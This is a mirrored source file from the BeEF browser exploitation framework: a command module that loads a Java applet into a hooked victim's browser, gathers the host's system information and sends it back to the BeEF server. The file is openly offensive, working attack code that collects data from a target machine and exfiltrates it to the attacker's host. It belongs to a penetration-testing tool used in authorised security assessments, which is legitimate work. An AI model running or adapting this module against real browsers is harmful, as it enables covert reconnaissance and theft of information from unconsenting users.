Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/get_system_info_java/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var internal_counter = 0;
10
var timeout = 30;
11
var output;
12
13
beef.debug('[Get System Info (Java)] Loading getSystemInfo applet...');
14
beef.dom.attachApplet('getSystemInfo', 'getSystemInfo', 'getSystemInfo', beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/", null, null);
15
16
function waituntilok() {
17
beef.debug('[Get System Info (Java)] Executing getSystemInfo applet...');
18
19
try {
20
output = document.getSystemInfo.getInfo();
21
if (output) {
22
beef.debug('[Get System Info (Java)] Retrieved system info: ' + output);
23
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"), beef.are.status_success());
24
beef.dom.detachApplet('getSystemInfo');
25
return;
26
}
27
} catch (e) {
28
internal_counter = internal_counter + 5;
29
if (internal_counter > timeout) {
30
beef.debug('[Get System Info (Java)] Timeout after ' + timeout + ' seconds');
31
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.are.status_error());
32
beef.dom.detachApplet('getSystemInfo');
33
return;
34
}
35
setTimeout(function() {waituntilok()}, 5000);
36
}
37
}
38
39
setTimeout(function() {waituntilok()}, 5000);
40
});
41
42
43